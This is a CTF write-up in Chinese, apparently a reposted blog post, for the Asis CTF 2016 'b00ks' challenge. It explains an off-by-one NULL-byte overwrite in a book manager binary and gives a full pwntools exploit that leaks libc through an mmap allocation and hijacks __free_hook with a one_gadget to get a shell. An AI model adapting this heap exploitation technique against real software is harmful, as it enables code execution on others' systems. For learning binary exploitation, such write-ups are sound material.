Asis CTF 2016——b00ks

这程序是一个图书管理系统  #off-by-one

程序逻辑

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   struct _IO_FILE *v3; // rdi
 4   __int64 savedregs; // [rsp+20h] [rbp+0h]
 5 
 6   setvbuf(stdout, 0LL, 2, 0LL);
 7   v3 = stdin;
 8   setvbuf(stdin, 0LL, 1, 0LL);
 9   hello();
10   input_name();
11   while ( (unsigned int)sub_A89(v3) != 6 )
12   {
13     switch ( (unsigned int)&savedregs )
14     {
15       case 1u:
16         create(v3);
17         break;
18       case 2u:
19         delete(v3);
20         break;
21       case 3u:
22         edit(v3);
23         break;
24       case 4u:
25         print(v3);
26         break;
27       case 5u:
28         input_name();
29         break;
30       default:
31         v3 = (struct _IO_FILE *)"Wrong option";
32         puts("Wrong option");
33         break;
34     }
35   }
36   puts("Thanks to use our library software");
37   return 0LL;
38 }

create后创建book结构体

 1 book = malloc(0x20uLL);
 2 if ( book )
 3 {
 4     *((_DWORD *)book + 6) = size;
 5     *((_QWORD *)off_202010 + v2) = book;
 6     *((_QWORD *)book + 2) = description;
 7     *((_QWORD *)book + 1) = name;
 8     *(_DWORD *)book = ++unk_202024;
 9     return 0LL;
10 }

 

1 stuct book{
2   int id;
3   char *name;
4   char *description;
5   int size;
6 }

author_name偏移:  0x202040

book结构体指针偏移:  0x202060

读取author_name的函数有off by one漏洞,读取32字节

最后的NULL字节可以覆盖掉第一个book结构体指针的最低字节

 1 signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
 2 {
 3   int i; // [rsp+14h] [rbp-Ch]
 4   _BYTE *buf; // [rsp+18h] [rbp-8h]
 5 
 6   if ( a2 <= 0 )
 7     return 0LL;
 8   buf = a1;
 9   for ( i = 0; ; ++i )
10   {
11     if ( (unsigned int)read(0, buf, 1uLL) != 1 )
12       return 1LL;
13     if ( *buf == 10 )
14       break;
15     ++buf;
16     if ( i == a2 )
17       break;
18   }
19   *buf = 0; //最后加了一个\x00字节,造成off by one
20   return 0LL;
21 }

内存初始分布

1 0x555555756040: 0x6161616161616161  0x6161616161616161
2 0x555555756050: 0x6161616161616161  0x6161616161616161   <== author name
3 0x555555756060: 0x0000555555757480 <== pointer array    0x0000000000000000
4 0x555555756070: 0x0000000000000000  0x0000000000000000
5 0x555555756080: 0x0000000000000000  0x0000000000000000

NULL覆盖后

1 0x555555756040: 0x6161616161616161  0x6161616161616161
2 0x555555756050: 0x6161616161616161  0x6161616161616161   <== author name
3 0x555555756060: 0x0000555555757400 <== pointer array    0x0000000000000000
4 0x555555756070: 0x0000000000000000  0x0000000000000000
5 0x555555756080: 0x0000000000000000  0x0000000000000000

 

利用思路

为了实现泄漏,首先在 author_name 中需要输入 32 个字节来使得结束符被覆盖掉。之后我们创建 book1 ,这个 book1 的指针会覆盖 author name 中最后的 NULL 字节,使得该指针与 author name 直接连接,这样输出 author name 则可以获取到一个堆指针。

程序中同样提供了一种 change 功能, change 功能用于修改 author name ,所以通过 change 可以写入 author name ,利用 off-by-one 覆盖 pointer array 第一个项的低字节。

覆盖掉 book1 指针的低字节后,这个指针会指向 book1 的 description ,由于程序提供了 edit 功能可以任意修改 description 中的内容。我们可以提前在 description 中布置数据伪造成一个 book 结构,这个 book 结构的 description 和 name 指针可以由直接控制。

但是这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法,因此我们还需要想一下其他的办法。

这道题的巧妙之处在于在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。

在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。(写个demo试验下,vmmap查看)


exploit

 

 1 from pwn import *
 2 context.log_level="info"
 3 
 4 binary = ELF("b00ks")
 5 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 6 io = process("./b00ks")
 7 
 8 
 9 def createbook(name_size, name, des_size, des):
10     io.readuntil("> ")
11     io.sendline("1")
12     io.readuntil(": ")
13     io.sendline(str(name_size))
14     io.readuntil(": ")
15     io.sendline(name)
16     io.readuntil(": ")
17     io.sendline(str(des_size))
18     io.readuntil(": ")
19     io.sendline(des)
20 
21 def printbook(id):
22     io.readuntil("> ")
23     io.sendline("4")
24     io.readuntil(": ")
25     for i in range(id):
26         book_id = int(io.readline()[:-1])
27         io.readuntil(": ")
28         book_name = io.readline()[:-1]
29         io.readuntil(": ")
30         book_des = io.readline()[:-1]
31         io.readuntil(": ")
32         book_author = io.readline()[:-1]
33     return book_id, book_name, book_des, book_author
34 
35 def createname(name):
36     io.readuntil("name: ")
37     io.sendline(name)
38 
39 def changename(name):
40     io.readuntil("> ")
41     io.sendline("5")
42     io.readuntil(": ")
43     io.sendline(name)
44 
45 def editbook(book_id, new_des):
46     io.readuntil("> ")
47     io.sendline("3")
48     io.readuntil(": ")
49     io.writeline(str(book_id))
50     io.readuntil(": ")
51     io.sendline(new_des)
52 
53 def deletebook(book_id):
54     io.readuntil("> ")
55     io.sendline("2")
56     io.readuntil(": ")
57     io.sendline(str(book_id))
58 
59 createname("A" * 32)
60 createbook(0xd0, "a", 0x40, "a")      #这里要计算一下,使pointer_to_book1最低字节被\x00覆盖后指向des
61 createbook(0x21000, "a", 0x21000, "b")
62 
63 book_id_1, book_name, book_des, book_author = printbook(1)
64 book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
65 log.success("book1_address:" + hex(book1_addr))
66 
67 payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff) #将book1_des伪造成book结构,name指向book2_name,des指向book2_des
68 editbook(book_id_1, payload) 
69 changename("A" * 32)    #pointer_to_book1=pointer_to_book1_des
70 
71 book_id_1, book_name, book_des, book_author = printbook(1) #print(book1_des),此时book1_des为伪造的book结构
72 book2_name_addr = u64(book_name.ljust(8,"\x00"))
73 book2_des_addr = u64(book_des.ljust(8,"\x00"))
74 log.success("book2 name addr:" + hex(book2_name_addr))
75 log.success("book2 des addr:" + hex(book2_des_addr))
76 libc_base = book2_name_addr - 0x5b0010            #固定偏移
77 log.success("libc base:" + hex(libc_base))
78 
79 free_hook = libc_base + libc.symbols["__free_hook"]
80 one_gadget = libc_base + 0x4526a # 0x4f2c5 0x10a38c 0x4f322
81 log.success("free_hook:" + hex(free_hook))
82 log.success("one_gadget:" + hex(one_gadget))
83 editbook(1, p64(free_hook) * 2)         #将book2 des修改为free_hook地址
84 editbook(2, p64(one_gadget))        #将free_hook处修改为one_gadget地址
85 
86 deletebook(2)  执行one_gadget
87 
88 io.interactive()

 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks

转载于:https://www.cnblogs.com/pfcode/p/10730551.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值